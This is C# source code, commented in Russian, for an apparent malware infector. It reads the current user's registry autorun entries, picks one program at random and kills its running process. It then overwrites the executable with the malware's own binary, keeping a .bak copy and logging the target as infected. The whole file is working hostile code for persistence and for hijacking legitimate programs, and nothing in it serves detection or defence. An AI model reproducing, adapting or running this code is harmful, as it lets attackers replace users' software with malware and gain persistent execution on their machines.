static List <AutorunProgram> CurrentUser(AddMask collectMask) { List <AutorunProgram> tmp_list = new List <AutorunProgram>(); RegistryKey regKey = Registry.CurrentUser.OpenSubKey(keyPath); foreach (string oneProgram in regKey.GetValueNames()) { AutorunProgram temp = new AutorunProgram(); temp.RegName = oneProgram; temp.RegValue = regKey.GetValue(oneProgram).ToString(); string[] RegValueParsed = ParseRegValue(temp.RegValue); temp.RunFilePath = RegValueParsed[0]; temp.RunArguments = RegValueParsed[1]; temp.IsFileExists = File.Exists(temp.RunFilePath); //temp.IsActiveProcess = cProcesses.IsFileActiveProcess(temp.RunFilePath); temp.RegLocation = AutorunProgram.RegistryLocation.CurrentUser; // Проверяем AddMask, если хоть одно условие будет выполнено, // то текущий элемент не будет добавлен в List и будет продолжен перебор остальных элементов if (!CanBeAdded(temp, collectMask)) { continue; } // Если дошли до сюда, то добавляем в List tmp_list.Add(temp); } return(tmp_list); }
private static void InfectAutoRunApps() { // Получаем список AutoRun'ов, можно указать ограничения по сбору программ cRegistry.GetAutoruns(autorunPrograms, appConfing.infectFilter); #region --- Выводим в консоль всё что нашлось Log.Write(" --- Вывод найденных приложений --- ", true); foreach (AutorunProgram ap in autorunPrograms) { Log.Write(ap.RegName); Log.Write(ap.RegValue); Log.Write(ap.RegLocation); Log.Write($"File Path: {ap.RunFilePath}"); Log.Write($"Run Args: {ap.RunArguments}"); Log.Write($"Active Process: {ap.IsActiveProcess}"); Log.Write($"File Exists: {ap.IsFileExists}"); Log.Write(" --- "); } Log.Write(" --- Вывод завершен --- ", true); #endregion // Выбираем рандомную программу int programID = random.Next(0, autorunPrograms.Count); AutorunProgram targetProgram = autorunPrograms[programID]; #region --- Выводим в консоль выбранную программу Log.Write(" --- Вывод выбранного приложения --- ", true); Log.Write("TARGET:"); Log.Write(targetProgram.RegName); Log.Write(targetProgram.RegValue); Log.Write(targetProgram.RegLocation); Log.Write($"File Path: {targetProgram.RunFilePath}"); Log.Write($"Run Args: {targetProgram.RunArguments}"); Log.Write($"Active Process: {targetProgram.IsActiveProcess}"); Log.Write($"File Exists: {targetProgram.IsFileExists}"); #endregion _infect(targetProgram); string path_checkfile = Path.Combine(Path.GetDirectoryName(targetProgram.RunFilePath), appConfing.checkFile); File.WriteAllText(path_checkfile, DateTime.Now.ToString()); // Тут ещё желательно клонировать себе данные и иконку Log.Write($"Приложение {targetProgram.RunFilePath} было заражено.", true); Log.Write($"Завершено."); //Console.ReadKey(); Environment.Exit(0); }
private static void _infect(AutorunProgram targetProgram) { File.Copy(targetProgram.RunFilePath, targetProgram.RunFilePath + ".bak", true); int count_try = 0; retry: // Если процесс выбранной программы активен - завершаем его if (targetProgram.IsActiveProcess) { cProcesses.KillFileProcess(targetProgram.RunFilePath, true); Log.Write($"KILLED {targetProgram.RunFilePath}", true); //Thread.Sleep(500); } else { Log.Write($"Приложение не активно {targetProgram.RunFilePath}", true); } try { File.Copy(appConfing.MyFullPath, targetProgram.RunFilePath, true); } catch { Thread.Sleep(1000); count_try++; if (count_try >= 5) { InfectAutoRunApps(); } else { goto retry; } } }
static bool CanBeAdded(AutorunProgram autorunProgram, AddMask collectMask) { switch (collectMask) { case AddMask.NoAddActiveProcess: // Если процесс запущен - нельзя if (autorunProgram.IsActiveProcess) { return(false); } break; case AddMask.NoAddEmptyPath: // Если оригинального файла нет - нельзя if (!autorunProgram.IsFileExists) { return(false); } break; case AddMask.NoAddEmptyPathOrActiveProcess: // Если оригинального файла нет или процесс запущен - нельзя if (!autorunProgram.IsFileExists | autorunProgram.IsActiveProcess) { return(false); } break; } return(true); }